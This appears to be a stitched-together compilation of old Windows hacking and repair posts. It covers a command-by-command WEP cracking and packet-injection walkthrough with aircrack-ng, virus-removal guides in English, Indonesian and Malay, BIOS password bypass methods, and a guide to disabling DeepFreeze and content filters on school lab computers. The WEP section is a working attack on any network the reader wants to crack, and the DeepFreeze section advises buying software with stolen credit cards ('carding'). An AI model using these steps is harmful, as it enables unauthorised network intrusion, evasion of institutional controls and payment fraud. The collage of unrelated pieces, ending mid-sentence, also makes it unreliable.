Tutorial : Crack WEP with aircrack + inject packets (WINDOWS)

This is a tutorial for cracking WEP and injecting packets for networks with no clients. You'll be able to do so on a windows platform (tested in VISTA and works)!
-------------------------------------------------------------------------------------------

First of all I've got all my info out of this thread and the links posted there:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0
I can only make this tutorial thanks to Zermelo that kept answering my question when I was lost.


GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download commview here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

cd c:\aircrack\

- HIT ENTER

Step 3:
- type the following in the same command prompt:
airserv-ng -d commview.dll

- HIT ENTER
- You should see something like this coming up in the command prompt
Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666


Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:
cd c:\aircrack\

-HIT ENTER

Step 5:
- Now typ this in the same command prompt:
airodump-ng 127.0.0.1:666

- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:
airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666


Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:
cd c:\aircrack\

- HIT ENTER

Step 7:
- Type in the following in command prompt:
aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666


yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this as the outcome:
Sending Authentication Request
Authentication successful
Sending Association Request
Association successful :-)


if you get:
AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:
sending authentication request

Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:
aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666


yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this:
Waiting for a data packet...
Read #number packets...


Step 9:

if you wait a little bit you'll soon be prompted with a packet like this:

Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.

0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....


note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):
Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!

AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:
Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...

Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:
packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request


Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:
aireplay-ng -2 -r arp-request 127.0.0.1:666

The green part once again indicates the filename!

You should now see something like this coming up:
Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M

0x0040: d64f b709 .O..

Use this packet ?

- Type in Y
- HIT ENTER

This should come up now:
Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)

You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:
airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666

Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:
aircrack-ng -n 64 Filename.cap


note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)


and if it goes like planned a message will pop-up saying:
KEY FOUND: YourKey


That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

How to stop regedit, taskmanager or msconfig from closing automatically

Since i published my “How to remove new folder exe or regsvr exe or autorun inf virus” article many readers have asked me about how to prevent regedit, taskmanger, msconfig etc from closing withing second of it’s opening.

Now i have to say as i have yet to face this issue personally myself, i am not really able to suggest anything but to recommend people to do a boot time scan from avast, and hope that fixes their problem.

But after receiving a repeated request to fix this issue, i decided to write about the approach that i would take if i face this problem and to collaborate with you to solve your problem and in the process create a workable solution to fix this problem, once and for all.

Symptoms of the problem that we are tying to solve,

  1. you open regedit, the regedit window flickers and closes again,
  2. you open taskmanager, window opens and immediately closes.
  3. you try to open msconfig, window closes the moment it opens.

What might be happening?

My thinking is that some rouge process is running that is scanning for these applications and the moment they open, it closes them.

Our Aim : to identify and kill

so what we need to do is, identify these rouge programs and destroy them by first killing the running process and then deleting the actual application from the system. We need to do this to prevent them from running again.
So first let’s try this solution,

  1. Create the copy of regedit.exe file and put it in another directory.
    1. you can do this by selecting the regedit.exe file(located in c:\windows directory) and pressing crtl+c and then crtl+v
    2. move this copied file to another new directory say c:\eme_utils
  2. Similarly create the copy of task manager located at (C:\WINDOWS\system32\taskmgr.exe) and system configuration utility aka msconfig located at (C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe)
  3. Now run these copies by clicking them, to see if you can access the respective applications.

if you don’t want to do this manually you may want to download the xp_emergency tool which does this for you in Windows XP OS.

With this hopefully we may have bypassed the restrictions imposed by the virus or worm or any rouge application, we still need to identify and kill them so that we can leave in peace instead of using alternative solutions.

So let’s start the identification process,

just a warning, this is a repetitive and frustrating process but if you really want to use the taskmanger, regedit or msconfig then you will have to find the process and kill it, so let’s start the journey.

you will need to download Process Explorer from system internals, so that we can identify the culprit process.

once you have downloaded it, extract the zip file and run the procexp.exe file by double clicking it. This will show you all the processes running right now.

Process Explorer

From here onwards you are almost on your own, you will have to trust your own knowledge of your system and your intuition. What we now need to do is to kill the processes that you can’t identify.

Note : before making any changes please keep a screen shot or write down the changes that you are doing.

  1. Look for any process that you can’t identify the source. as you can see from this image process explorer gives the description and company name of all the process that are running. so the first targets would be the application that you can’t identify the company name or application that you might not have installed.
  2. Once you think a process as rouge, note down the path of that application(this will help you delete the file later) by right clicking the name and clicking on properties window in the pop up.
  3. pop up option properties window of process explorer
  4. Now kill the process tree by right clicking and choosing the kill process tree option
  5. It is the time now to check if we have killed the right process or not, do find that out simply run the regedit or taskmanger or msconfig and see if they stay opened. if they do, move on to next step otherwise get back to step 1.

Worst that can happen at this stage is that you might kill some important process, in that case you have to just restart the system and you will be back from where you started.

  1. Once you have identified the process, we will now rename this application by changing the extension to something like *.fix or any thing you like by going to the path that we noted above. We did not delete the file at this stage because we want to be sure that this is the culprit file and not some other file.
  2. To verify this just restart you system and see if you can still access the regedit, task manger or msconfig, if you can then you want to delete the file that we renamed above.
  3. If not then we will have to start the identification process again, so start from step 1.

Here are some of the known rouge process that are know to do such things

  • WebRebates0.exe
  • WebRebates1.exe
  • msconfig35.exe
  • msconfig45.exe
  • funny ust scandal.avi.exe,
  • SMSS.exe ( an important windows process, Session Manager Subsystem, of same name also exists so be very careful before killing it.)
  • Killer.exe

If you fear, or, are not able to identify the process in that case you may want to save the process explorer output in a text file by hitting crtl+s and post the output in comment below so that I or others who have faced the problem will try to help you identify the rouge process to kill.

I am interested in knowing if this process helped you or not, It will be really good if you can participate in this process and leave a note below about all the rouge process or application that you identified.

This will help others to solve their problem as you might have already noticed their is very little help out their regarding this problem.

Bulubebek removal - update 1

Bukan bulu sembarang bulu, bukan donal sembarang donal, tapi sebuah virus yang rajin menyerang komputer-komputer teman-teman ku beberapa minggu ini. Beberapa orang teman yang komputernya yang sempat saya bersihkan secara manual dari virus berukuran 53 kb ini minta diajari. Bukan pelit, namun saya paling gak bisa ngajarin orang. Susah mengungkapkan isi otak lewat kata-kata, mungkin dengan tulisan ini bisa sedikit menyalurkan tips-tips yang mungkin nyangkut dan tak tersalurkan oleh mulut saya dan bisa dijadikan bahan pelajaran untuk yang ingin belajar.

Beberapa bagian dari tulisan ini saya comot dari Kaskus, dan sedikit tambahan redaksi dari saya untuk hal-hal yang dianggap perlu. Dan langkah dibawah bisa juga diterapkan untuk memberantas virus-virus serupa, namun diperlukan sedikit improvisasi dalam memodifikasi langkah-langkah dibawah sesuai dengan karakteristik virus yang akan dibersihkan. Misalnya dalam penentuan ukuran file yang akan di search dan delete, nama dan lokasi file induk virus dan sebagainya,

bulubebek1

Virus Donal Bebek dibuat menggunakan bahasa pemrograman Visual Basic dan terdeteksi sebagai VbWorm.QXE. Salah satu ciri khas virus ini adalah mengandung kata “Bulu Bebek”. Bulu Bebek menyembunyikan folder/subfolder pada flash disk dan membut file duplikat sesuai dengan nama folder/subfolder tersebut untuk mengelabui user. Untuk membersihkannya, simak langkah berikut ini:

1. Sebaiknya putuskan komputer yang akan dibersihkan dari jaringan (jika terhubung ke Local Are Network/LAN).

2. Disable “System Restore” untuk sementara selama proses pembersihan berlangsung (jika menggunakan Windows ME/XP).

3. Matikan proses virus yang sedang aktif di memori, untuk mematikan proses virus ini gunakan tools pengganti taks manager seperti process explorer, kemudian matikan proses virus yang mempunyai icon “Folder”. Klik kanan process yang ingin dimatikan, dan klik kill process tree . Proccess Explorer dapat di download DISINI

4. Repair registry Windows yang sudah diubah oleh virus. Untuk mempercepat proses tersebut bisa digunakan plugin dari ANSAV. ANSAV BETA bisa didonlot disini, setelah diekstrak buka program ansav.exe lalu klik menu plugin. buka plugin yang bernama FXregistry dan aktifkan seluruh option box yang ada untuk mengembalikan fungsi windows yang dikacaukan oleh virus. lalu klik OK.

Atau setelah registry (run - regedit) bisa diakses, pastikan string registry dibawah ini telah terhapus:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\HideFileExt

- CheckedValue=2

- DefaultValue = 2

- UncheckedValue = 2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN

- CheckedValue= 0

- DefaultValue = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

- CheckedValue= 2

- DefaultValue = 2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\ShowFullPath

- CheckedValue= 0

- DefaultValue = 0

- UncheckedValue = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\ShowFullPathAddress

- CheckedValue= 0

- DefaultValue = 0

- UncheckedValue = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden

- CheckedValue= 2

- DefaultValue = 2

- UncheckedValue = 2

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt

- CheckedValue= 1

- DefaultValue = 1

KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SuperHidden

- CheckedValue= 0

- DefaultValue = 0

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

- NoFolderOptions

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

- DisableRegistryTools

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

- Hidden = 2

- HideFileExt = 1

- ShowSuperHidden = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor

  • AutoRun = exit

HKEY_CURRENT_USER\Software\Microsoft\Command Processor

  • AutoRun = exit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SPYXX.EXE

  • debugger = TAI BEBEK

5. Cari dan hapus file duplikat yang dibuat oleh virus. Untuk mempercepat proses pencarian sebaiknya gunakan fungsi “Search Windows” dengan terlebih dahulu menampilkan file yang disembunyikan.

bulubebek2

Jika Folder Option belum muncul, sebaiknya LogOff komputer terlebih dahulu kemudian tampilkan file yang tersembunyi. Setelah file duplikat ditemukan, hapus file yang mempunyai ciri-ciri:

* Menggunakan icon Folder
* Ukuran file 53 KB
* Ekstensi EXE
* Type File “Application”

bulubebek3

Ulangi pencarian untuk ekstensi *.inf (ukuran 1 kb) dan *.ini (ukuran 53 kb), dan pastikan file induk terhapus. Lokasinya adalah sbb:

  • C:\Windows\Script.exe

  • C:\Windows\LSASS.exe

  • C:\Documents and Settings\%user%\autorun.inf

  • C:\Documents and Settings\%user%\bulubebek.ini

  • C:\bulubebek.ini

  • c:\autorun.inf

6. Tampilkan kembali file/folder pada Flash Disk yang sudah disembunyikan. Untuk menampilkan file yang disembunyikan, Anda dapat menggunakan bebarapa tools alternatif seperti Batch File Utility atau dengan menggunakan perintah ATTRIB.


DOS Bulubebek, CMD

Berikut cara menampilkan file/folder yang disembunyikan dengan menggunakan ATTRIB:

* Klik “Start”
* Klik “Run”
* Ketik “CMD”, kemudian tekan tombol “Enter”
* Pindahkan posisi kursor ke drive Flash Disk (misal FD berada di drive F: ketikkan cd f: dan tekan ENTER)
* Kemudian ketik perintah ATTRIB –s –h –r /s /d kemudian tekan tombol “enter”
lakukan hal yang sama untuk drive-drive lainnya.

DOS Bulubebek, CMD

Pengembalian attribut file dapat juga dengan menggunakan salah satu plugin ANSAV yaitu Hidden Revealer.

7. Untuk pembersihan optimal dan mencegah infeksi ulang scan, dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini.

SELAMAT BERJUANG!!!

me_cute virus removal ( malay version)

Sekarang ada orang sarawak yang kecewa kerana tidak dapat kerja telah mencipta virus yang dinamakan me_cute. Beberapa orang student UMS yang selalu datang ke kedai saya telah terkena virus ini. Kesian mereka kerana tak dapat nak siapkan tugasan yang diberikan lecture.

Setelah mengoogle dalam internet, saya menjumpai cara2 memusnahkan dan imune sistem anda daripada virus me_cute ini.

Sintom jangkitan:

1. Windows masuk, tetapi cuma ada wallpaper.

2. Ada screen memaparkan teks menyatakan kekesalan pencipta virus kerana tidak dapat kerja.

Cara membaiki:

1. Tekan serentak CTRL+ALT+DEL

2. Pilih “Processes”

3. cari nama Image Name lsass.exe

4. Anda akan menjumpai beberapa nama, pilih yang bukan dari SYSTEM

Contohnya, saya sedang guna account Administrator.

Image name User Name

lsass.exe Administrator <— Pilih ini

lsass.exe SYSTEM

5. Right click atas lsass.exe yang anda pilih dan “End Process”

6. Pilih Start>Run

7. Taip “regedit” dan tekan OK.

8. Pilih Edit>Find

9. Taip userinit.exe dan tekan Find Next

Anda akan menemui

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Userinit = C:\WINDOWS\system32userinit.exe,C:\windows\system32\oobe\lsass.exe

10. Right Click pada userinit dan pilih “Modify”

11. Ubah menjadi begini C:\WINDOWS\system32\userinit.exe,

12. Cari fail ini “C:\WINDOWS\system32\oobe\lsass.exe” dan delete.

13. Selesai.

Cara imune:

Oleh sebab ini virus baru, tiada antivirus dapat menangani masalah ini. Kita kena selesaikan sendiri.

1. Pilih Start>Run

2. Taip cmd dan tekan ok

3. Taip

md %windir%\system32\oobe\lsass.exe

tekan enter

attrib +h +r +s %windir%\system32\oobe\lsass.exe

tekan enter

taip exit

4. Selesai, me_cute tidak akan dapat menjangkiti sistem anda.

Peringatan, langkah-langkah ini mungkin tidak sesuai untuk user biasa, jadi minta bantuan rakan-rakan yang mahir.

Ninja Pendisk 1.4 - Antivirus, Spayware, removal...

Ninja is the freeware zero-configuration program designed for guarding computers against viruses transmitted by USB pendisks.

This ninja awaits quietly in the system tray for the times whenever a USB pendisk is inserted on the computer which will be examined to uncover the commonly malicious or virulent files known as "autorun.inf" and "ctfmon.exe" amongst many others.

To keep things simple, ninja is fully portable, self-contained and requires no installation.

Besides removing known virulent files, this tool will also immunize your pendisk and create a folder called autorun.inf with special protection permissions to protect your pendisk from being infected again when plugged on contaminated computers.

How to Bypass BIOS Passwords ...?

Kami ada menerima pertanyaan berkenaan bagaimana cara-cara untuk menghilangkan atau bypass password BIOS jika kita terlupa. Kalau di komputer biasa, senang sahaja iaitu dengan mencabut / setting "jumper" atau membuka bateri CMOS untuk menghilangkan kata laluan / password pada BIOS. Bagaimana pula dengan laptop? Caranya juga sama iaitu dengan membuka latop berkenaan dan cari dimana bateri CMOS terletak dan buka bateri tersebut untuk menghilangkan password BIOS. Jika sukar, cuba cara-cara dibawah ini.


DISCLAIMER


This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.


Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support

staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:

· Using a manufacturers backdoor password to access the BIOS

· Use password cracking software

· Reset the CMOS using the jumpers or solder beads.

· Removing the CMOS battery for at least 10 minutes

· Overloading the keyboard buffer

· Using a professional service

Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops

, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.


Backdoor passwords

Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.

WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords

TOSHIBA BIOS

Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot

IBM APTIVA BIOS

Press both mouse buttons repeatedly during the boot

If all else fails, check out the default passords list.


Password cracking software

The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.


Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings

Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.

Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.


Removing the CMOS Battery

The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.

Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.


Overloading the KeyBoard Buffer

On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.


Jumping the Solder Beads on the CMOS

It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.


Using a professional service

If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.


Links to Motherboard Manufacturers

If you need additional documentation about your motherboard, location of jumpers / dipswitches, location of the battery, BIOS settings, etc., we've included links to most of the major motherboard manufacturers here.

Last Updated ( Monday, 13 February 2006 )

If you buy a used computer, forget the BIOS password for your own computer, or just plain don't know it, the most BIOS makers include a backdoor password, that can let you get in. This list has the most common makers, and is intended for legitamate use only. Myself, the makers of this list, and Overclock.net do not approve of hacking stolen computers, and this guide should not be used like that. Now, on to the guide:

How to hack DeepFreeze... ?

Deepfreeze does NOT place any restrictions on a machine, so whatever you want to do, whether it's downloading mp3's or downloading and installing ICQ or browser add-ons or WHATEVER, deepfreeze does not prevent it. What matters much more is how you are logged in: as User, or Power User, or Administrator. True, you'll have to install/download your stuff every time you sit down at the computer, but hey! you CAN do so. That's the beauty of deepfreeze: it places no restrictions onthe machine. Take a look at M$ TechNet:

Default Access Control Settings http://www.microsoft.com/technet/treeview/...ity/secdefs.asp
The entire white paper is very helpful in understanding the difference between Users, Power Users, and Administrators. NOT understanding this issue causes more problems on Windows 2000 than all other problems put together. Example: you installed winzip and don't understand why the *uck it won't work. Answer: you were not logged in as administrator when you installed it. And, along these lines, you can ask your teacher/computer lab admin to promote you to Power User. Cuz Power Users have access to

HKLM(HKEY_LOCAL_MACHINE)

in the registry, and can manipulate a lot more onthe system (read the paper). For example, let's say there is a nastycontent filtering program such as CyberPatrol preventing you fromaccessing 2600 or other web sites. Such a program probably startsautomatically from a key in HKLM under

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Simply delete the key and then restart the computer, and the program will not be running. So... try to become a Power user. If you explain to your teacher that being just a User is a real pain in the butt and that you NEED to be PowerUser in order to do things, he/she MIGHT make you one. You don'tknow until you try.

Now, about hacking DeepFreeze. DeepFreeze was developed with sneaky little hackers like you, intent on *ucking up computers, in the FOREFRONT of the developer's minds. The developers of DeepFreeze knew and know how to think like hackers. They were in high-school once, too!! And, if that were not enough, they also know how to program at a very low-level (we're talking LOW, LOW level!!) in order to protect the computer. Do you know how to hack/load/unload kernel-mode device drivers? NO?! Do you know how to program in assembly REALLY well?? NO?! Do you understand encryption and how it functions in a program? NO?! Do you know how to best pack your program so that it is strongly resistant to reverse engineering? NO?? You mean you don't even know what "pack" means? JEEZ! I don't think you're gonna hack DeepFreeze then, O Miserable One!!!

On Windows 95/98/Me:

DeepFreeze is a VxD (Virtual Device Driver) located in

c:\windows\system\iosubsys\persifrz.vxd

The only hope for most hackers of "hacking" DeepFreeze is to boot from a boot-disk and delete this file. All the other filez in c:\progra~1\hypert~1\deepfr~1 arejust other program filez. The most important file to delete is the actual DeepFreeze driver, persifrz.vxd. It IS true though, that if you delete the other filez in the DeepFreeze folder FROM A BOOT DISK thatDeepFreeze will no longer load. i'm just giving you the best andeasiest way. Delete persifrz.vxd and DeepFreeze is deader than a doorknob. AND it's only one file. persifrz.vxd IS DeepFreeze.
Cant' boot to any drive except c:\? And BIOS setup is password-protected? Oh well, you're not gonna hack DeepFreeze. AndDeepFreeze prevents, BY DESIGN, BIOS password-crackers from working.

On Windows 2000/XP DeepFreeze consists of several important filez:

There are 2 drivers and 1 service (i'll let you figure out the paths):

DepFrzLo.sys (kernel driver)
DepFrzHi.sys (filesystem driver)
dfserv.exe (service)
frzstate.exe (password dialog)
persis00.sys (password file and "on/off switch")

Probably you will need NTFSDOSPRO to boot up and mount an NTFS drive. And if you're elite, you won't have any problem getting that from someone or finding it, or carding it from an internet cafe... If you do card it from a cafe though, don't use a yahoo or hotmail e-mail address. And make sure you know the CVV on the card. Use something different like boxfrog.com or rock.com. It's available from http://www.sysinternals.com and costs $300.

True: there is a free LINUX boot-disk which also mounts NTFS drives, but it's not nearly as good. One last thing about NTFSDOSPRO. There is no free support AND it is kinda tricky creating and using the NTFSDOSPRO boot disk. You have to first boot with a regular boot disk, then put in your NTFSDOSPRO boot disk to mount the NTFS drive. You'll see what I mean, it's not very user-friendly and little explanation is given on how to really gothrough with the entire operation.

Using NTFSDOSPRO, if you replace persis00.sys with your own persis00.sys containing your own password, then you can thaw deepfreeze using your own password. You see, persis00.sys contains the password and the on/off switch which the driver checks to see if itshould start the computer in thawed mode or frozen mode. This ispreferable to deleting the entire DeepFreeze program on Windows 2000/XP with a boot disk. All pertinent encryption seems to becontained in this one file. And, a persis00.sys from a totally different DeepFreeze doesn't seem to matter (as in one from a trial version). Post here if you discover differently.

Before attempting to delete the drivers on Windows 2000 with a boot disk though, try it at home first. Because the computer may not start up. In other words, it may be necessary to delete certain keys in the registry as well, in order for the computer to not "crash" before iteven starts!

Use In Ctrl5 to monitor your own installation of DeepFreeze 2000/XP. Available here:
http://common.ziffdavisinternet.com/downlo...027/inctrl5.zip

It will tell you each and every file and registry key installed by the program. There may be serious problems if you don't delete certain important "pointers" and "references" to the DeepFreeze driver on the Windows 2000 platform. I don't know. Try it and see. Maybe not. Now, here are TWO methods of hacking DeepFreeze you probably haven't thought of:

